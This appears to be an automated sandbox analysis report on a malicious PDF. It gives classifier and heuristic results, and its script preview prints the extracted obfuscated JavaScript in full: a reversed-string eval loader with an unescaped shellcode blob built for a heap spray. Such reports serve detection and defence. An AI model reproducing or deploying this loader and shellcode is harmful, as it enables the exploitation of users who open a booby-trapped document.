Malware Insights
The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT' and 'PDF_JS'. The ML classifier also flagged the PDF as malicious with a high probability. While the document body contains garbled text, the presence of JavaScript suggests an attempt to execute malicious code. The embedded URL 'http://www.bitstream.com' is also noted, though its reputation is unknown. The exact intent of the JavaScript could not be determined due to its obfuscation or truncation, but it is highly likely to be involved in downloading or executing a secondary payload.
Machine Learning
- Nyx PDF Classifier malicious score 0.9998
Heuristics 4
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.bitstream.com In PDF document text
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0012_000.js |
pdf-javascript-stream | PDF /JS object 12 at offset 0x10A83 | 4456 bytes |
SHA-256: 82b8fd5421ce737e548e5d9f7f7c6f722178d1b6d5f74dd6b32a9d9785ee4971 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var eva=new Function("a","ev al (a);".split(" ").join(""));
var s=' ;"s"+3_ozotlav=]i_ozotlav[4_ozotlav )++i_ozotlav;0f1x0<i_ozotlav;0=i_ozotlav( rof ;)(yarrA wen = 4_ozotlav rav ;)2 / )80x0-0201x0( - 00008x0 ,0(gnirtsbus.d_ozotlav = 3_ozotlav ;d_ozotlav =+ d_ozotlav )00008x0 < htgnel.d_ozotlav(elihw ;)2/63556 ,0(gnirtsbus.b_ozotlav = d_ozotlav ;c_ozotlav =+ b_ozotlav ;olygak =+ b_ozotlav ;)2/)42x0-c0c0x0( ,0(gnirtsbus.c_ozotlav = b_ozotlav ;c_ozotlav=+c_ozotlav )63556 < 8 + 02 + htgnel.c_ozotlav( elihw ;) "c" + "0" + "c" + "0" + "u" + "$" + "c" + "0" + "c" + "0" + "u" + "$" (epak = c_ozotlav rav ;) )""(nioj.)" "(tilps."8d14 u $ 37c4 u $ 7888 u $ 3f6a u $ 62de u $ f5a3 u $ 54a6 u $ f5fe u $ 125b u $ eca7 u $ 9c7c u $ 18cb u $ bb2c u $ 27c9 u $ e0a3 u $ b4f1 u $ 3d4f u $ 50c9 u $ 105a u $ d813 u $ 8138 u $ 27b7 u $ 9c6a u $ 5e26 u $ 2492 u $ c835 u $ 9397 u $ a8b4 u $ 20c3 u $ b49b u $ 8565 u $ f1fb u $ 214b u $ eba1 u $ 0c8c u $ fc5e u $ 15c6 u $ b044 u $ 5772 u $ f4f5 u $ 29ea u $ 2c85 u $ 9929 u $ 33b8 u $ ebe8 u $ 67f f u $ 5308 u $ 1991 u $ cc17 u $ 1deb u $ 9c1d u $ 50b2 u $ a0aa u $ 8782 u $ 0f94 u $ 78d5 u $ 4bd6 u $ a030 u $ 9804 u $ 22c4 u $ 0617 u $ 2ed7 u $ 29e6 u $ 5468 u $ ea72 u $ 0855 u $ d061 u $ aea0 u $ 54ee u $ 13d7 u $ b3eb u $ 447c u $ e387 u $ 4fcb u $ 8e3f u $ 42db u $ b5da u $ 5780 u $ 286a u $ a785 u $ 54ab u $ 7691 u $ b717 u $ 239b u $ 78b6 u $ 0f79 u $ 707a u $ fe11 u $ 0d88 u $ 64a9 u $ 4f76 u $ dc6d u $ 0 937 u $ c3d1 u $ 2dd1 u $ d 0 98 u $ 5a45 u $ c3b9 u $ c21b u $ bb8f u $ 3c94 u $ 35d6 u $ 3 0 90 u $ 6511 u $ cf13 u $ 38ee u $ 4fe5 u $ 4742 u $ 339d u $ 631b u $ 24f8 u $ abf5 u $ bd2c u $ 929c u $ 0 070 u $ f211 u $ 0 070 u $ 137d u $ 0 070 u $ d451 u $ f f 0 9 u $ f ff f u $ 0 070 u $ bb51 u $ 0 070 u $ 227a u $ 0 070 u $ d451 u $ 0 9 0 9 u $ 0 9 0 9 u $ 0 070 u $ bb51 u $ 0 070 u $ 227a u $ 0 070 u $ d451 u $ 0 9 0 9 u $ 0 9 0 9 u $ 0 070 u $ bb51 u $ 0 070 u $ 227a u $ 0 070 u $ d451 u $ 0 9 0 9 u $ f f 0 9 u $ 0 070 u $ bb51 u $ 0 070 u $ 227a u $ 0 070 u $ d451 u $ f ff f u $ 8e6e u $ 0 070 u $ bb51 u $ 0 070 u $ 227a u $ 0 070 u $ d451 u $ be50 u $ 57ee u $ 0 070 u $ bb51 u $ 0 070 u $ 227a u $ 0 070 u $ d451 u $ c 0 c 0 u $ c 0 c 0 u $ 0 070 u $ bb51 u $ 0 070 u $ 227a u $ 0 070 u $ d451 u $ 18bf u $ 2c40 u $ 0 070 u $ bb51 u $ 0 070 u $ 227a u $ 0 070 u $ d451 u $ 4038 u $ 380c u $ 0 070 u $ bb51 u $ 0 070 u $ 227a u $ 0 070 u $ d451 u $ 9881 u $ b8a1 u $ 0 070 u $ bb51 u $ 0 070 u $ 227a u $ 0 070 u $ d451 u $ 5185 u $ a5be u $ 0 070 u $ bb51 u $ 0 070 u $ 227a u $ 0 070 u $ d451 u $ 45 0 9 u $ a5 0 9 u $ 0 070 u $ bb51 u $ 0 070 u $ 137d u $ 0 0 0 0 u $ 04 0 0 u $ 0 0 0 0 u $ 0 0 01 u $ 10 0 0 u $ 4010 u $ 0 0 0 0 u $ 0 0 0 0 u $ 10 0 0 u $ 0 010 u $ f ff f u $ f ff f u $ 0 070 u $ 45c5 u $ 0 070 u $ 2e25 u $ 10 0 0 u $ 11 0 0 u $ 0 070 u $ 7f27 u $ 0 070 u $ ca8a u $ 10 0 0 u $ 0 010 u $ 0 070 u $ bb51 u $ 0 070 u $ ca8a u $ 10 0 0 u $ 11 0 0 u $ 0 070 u $ bb51 u $ 0 070 u $ 2bf7 u $ ef f7 u $ 0 030 u $ 0 070 u $ bb51 u $ 0 070 u $ d451 u $ 0 0 0 0 u $ 0 0 01 u $ 0 070 u $ bb51 u $ 10 0 0 u $ 4010 u $ 0 070 u $ 7f27 u $ 10 0 0 u $ 4210 u $ 0 070 u $ 9951 u $ 0 070 u $ 48 0 9 u $ 0 070 u $ 48 0 9 u $ 0 070 u $ 48 0 9 u $ 0 070 u $ 48 0 9 u $ 0 070 u $ 48 0 9 u $ 0 070 u $ 48 0 9 u $ 0 070 u $ 48 0 9 u $ 0 070 u $ 48 0 9 u $ c 0 c 0 u $ c 0 c 0 u $ 0 070 u $ 48 0 9 u $ 0 070 u $ 33 0 9 u $ 0 070 u $ 48 0 9 u $ 0 070 u $ 48 0 9 u $ 0 070 u $ 48 0 9 u $ 0 070 u $ 48 0 9 u $ 0 070 u $ 48 0 9 u $ 0 070 u $ 48 0 9 u $ cccc u $ cccc u $ 0 070 u $ f651 u $ 0 070 u $ fe84 u $ cccc u $ cccc u $ 0 070 u $ 9194 u $ c 0 c 0 u $ c 0 c 0 u $ " (epak = olygak rav ;epacsenu = epak rav ';
eva(s.split("").reverse().join(""));
|
|||
font_00_sfnt_off0000035e.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x35E | 67284 bytes |
SHA-256: 35b6962eeb9aa4a8acb1109b74102eb9d08ab437da4460a890e43cabdc8c59d3 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Static shellcode analysis found candidate code region(s). Indicators: heap spray 0x41 (A)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.